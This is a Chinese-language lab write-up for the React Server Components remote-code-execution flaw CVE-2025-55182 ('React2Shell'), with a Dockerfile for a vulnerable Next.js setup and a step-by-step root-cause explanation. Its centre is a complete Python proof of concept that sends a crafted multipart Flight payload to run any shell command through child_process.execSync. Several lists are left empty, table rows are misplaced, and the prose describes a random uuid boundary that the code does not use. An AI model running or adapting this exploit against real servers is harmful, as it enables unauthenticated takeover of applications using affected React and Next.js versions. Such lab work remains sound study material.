又名 React2Shell
任务指南要求的部分标记为“(必填)”。
本环境使用基于官方 Node.js Alpine 镜像的自定义 Dockerfile。
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
该 Dockerfile 构建了一个存在漏洞的 React Server Components (RSC) 和 Next.js App Router 环境。
该环境安装了存在漏洞的以下版本:
存在漏洞的服务器通过 npm run dev 以开发模式运行。
存在漏洞的服务器通过 npm run dev 以开发模式运行。
该环境按以下结构运行:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
攻击者向存在漏洞的 Next.js 应用程序发送特制的 multipart/form-data 请求。
恶意载荷滥用了 React Flight 协议的反序列化过程。
存在漏洞的应用程序使用 Next.js App Router 架构。
请求通过 React Server Components 流水线进行处理。
应用程序源代码存储在 src/app/ 目录中。
src/
└── app/
├── layout.js
└── page.js
layout.js 文件定义了 App Router 结构所需的根布局,并初始化 React Server Components 环境。
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
page.js 文件定义了在 / 渲染的根页面,并显示一条简单消息,表明存在漏洞的服务器正在运行。
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
项目依赖和执行脚本通过 package.json 文件进行管理。
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
此文件定义了以下存在漏洞的版本:
存在漏洞的应用程序通过以下配置执行:
"scripts": {
"dev": "next dev"
}
服务器通过以下命令启动:
npm run dev
这将在 3000 端口启动存在漏洞的 Next.js 开发服务器。
Flight 协议反序列化复杂的 React 对象,例如:
漏洞发生在此反序列化过程中。
React 运行时处理攻击者控制的 Flight 载荷。
不安全的属性遍历和原型访问最终允许攻击者劫持 Function 构造函数。
成功利用后,任意 JavaScript 代码将在 Node.js 服务器环境中执行。
这将导致远程代码执行(RCE)。
| 组件 | 版本 |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack |
该环境使用了存在漏洞的 React Server Components 和 Flight 协议实现。
CVE-2025-55182,又称 React2Shell,是一个影响 React Server Components 和 React Flight 协议的严重远程代码执行(RCE)漏洞。
漏洞发生在攻击者控制的 Flight 协议载荷的反序列化过程中。
该问题允许攻击者:
该漏洞特别危险,因为无需身份验证,仅凭一个特制的 HTTP 请求即可完成利用。
使用存在漏洞的 React Server Components 和 Next.js App Router 配置的应用程序将直接暴露于风险之中。
该漏洞的根本原因是在 Flight 协议反序列化期间,对攻击者控制的对象引用进行了不安全的处理。
React Flight 在内部使用特殊的引用字符串,例如:
$@0
$B1337
$1:__proto__:then
这些引用在反序列化过程中被递归解析。
存在漏洞的逻辑执行类似于以下代码的属性遍历:
value[path[i]]
而并未验证该属性是否属于对象本身。
因此,攻击者可以访问危险的 JavaScript 原型链属性,例如:
__proto__
constructor
prototype
这最终导致原型污染和 Function 构造函数劫持。
攻击者首先创建一个伪造的 React chunk 对象。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
关键字段是:
"status": "resolved_model"
React 运行时错误地信任此字段,并将攻击者控制的对象视为合法的内部 chunk 对象。
载荷:
$1:__proto__:then
会导致反序列化器遍历 JavaScript 原型链。
由于存在漏洞的代码未验证危险属性,攻击者可以访问:
Chunk.prototype.then
这将伪造的 chunk 转换为 thenable 对象。
载荷:
$1:constructor:constructor
最终解析为:
Function
这会将:
response._formData.get
替换为全局 JavaScript Function 构造函数。
结果:
Function(attacker_controlled_payload)
成为可能。
载荷:
$B1337
强制 React Flight 解析器进入 Blob 解析逻辑。
在此过程中:
response._formData.get(...)
会被执行。
然而,攻击者已将该函数替换为全局 Function 构造函数。
这最终导致在 Node.js 运行时内执行任意 JavaScript。
利用过程按以下顺序进行:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
攻击者首先发送一个特制的 multipart Flight 请求。
存在漏洞的服务器反序列化恶意载荷,并递归解析攻击者控制的引用。
不安全的原型遍历最终使攻击者能够劫持 Function 构造函数。
在 Promise 解析和 Blob 解析过程中,任意 JavaScript 代码被执行。
成功利用后,攻击者可以在 Node.js 服务器环境中执行任意 JavaScript 代码。
在本环境中,利用代码执行:
touch /tmp/success.txt
当容器内存在以下文件时,即可确认利用成功:
/tmp/success.txt
在真实环境中,攻击者可以:
该漏洞尤其危险,因为它影响的是 React 框架的内部机制,而非应用程序的业务逻辑。
这意味着大量应用程序仅因使用了受影响的框架版本,就可能变得易受攻击。
概念验证(PoC)使用 Python 编写。
该利用程序向存在漏洞的 Next.js 应用程序直接发送恶意 multipart/form-data 请求。
PoC 执行以下操作:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
该利用载荷使用了多个特制的 Flight 协议引用。
$1:__proto__:then| 部分 | 用途 |
|---|---|
$1 | 引用 chunk 1 |
__proto__ | 遍历原型链 |
then | 获取 Chunk.prototype.then |
此载荷将伪造的 chunk 转换为 thenable 对象。
$1:constructor:constructor| 部分 | 用途 |
|---|---|
$1 | 引用 chunk 1 |
constructor | 访问对象构造函数 |
constructor | 解析为全局 Function 构造函数 |
此载荷劫持了 JavaScript Function 构造函数。
$B1337$B 前缀强制 Flight 解析器进入 Blob 解析逻辑。
在此过程中:
response._formData.get(...)
会被执行。
由于攻击者已将此方法替换为 Function 构造函数,任意 JavaScript 代码得以执行。
$@0此载荷创建了一个循环 chunk 引用。
Chunk 1 最终再次引用 Chunk 0。
这种结构使得反序列化器在原型遍历过程中能够使用攻击者控制的伪造 chunk 对象。
利用程序首先创建一个随机的 multipart 边界。
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
这是构造有效 multipart/form-data 请求所必需的。
利用程序构造一个恶意伪造的 chunk 对象。
"status":"resolved_model"
这会使 React 运行时将攻击者控制的对象视为有效的内部 chunk。
以下载荷:
$1:__proto__:then
强制存在漏洞的解析器遍历 JavaScript 原型链。
以下载荷:
$1:constructor:constructor
将内部的 get 方法替换为 JavaScript Function 构造函数。
以下载荷:
require('child_process').execSync('touch /tmp/success.txt')
最终在 Node.js 运行时内被执行。
成功利用将在易受攻击的容器内创建:
/tmp/success.txt
完整的利用流程总结如下:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
构建 Docker 镜像。
docker build -t rsc-vuln .
运行易受攻击的容器。
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
存在漏洞的 Next.js 服务器将运行在:
http://127.0.0.1:3000
执行 PoC 脚本。
python3 exploit.py
利用程序向存在漏洞的 Next.js 服务器发送恶意 React Flight 载荷。
验证利用程序是否成功创建了目标文件。
docker exec -it my-vuln-server ls -la /tmp/success.txt
利用成功即可确认在易受攻击的容器内发生了任意代码执行。
在成功利用过程中,利用程序应触发 React Flight 反序列化和原型遍历。
存在漏洞的服务器会处理恶意 Flight 载荷并执行攻击者控制的 JavaScript 代码。
当存在以下文件时,即可确认利用成功:
/tmp/success.txt
示例输出:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
这证实了在易受攻击的 Node.js 环境内成功执行了任意命令。
以下截图包含在 screenshots/ 目录中:


| 19.0.0-rc |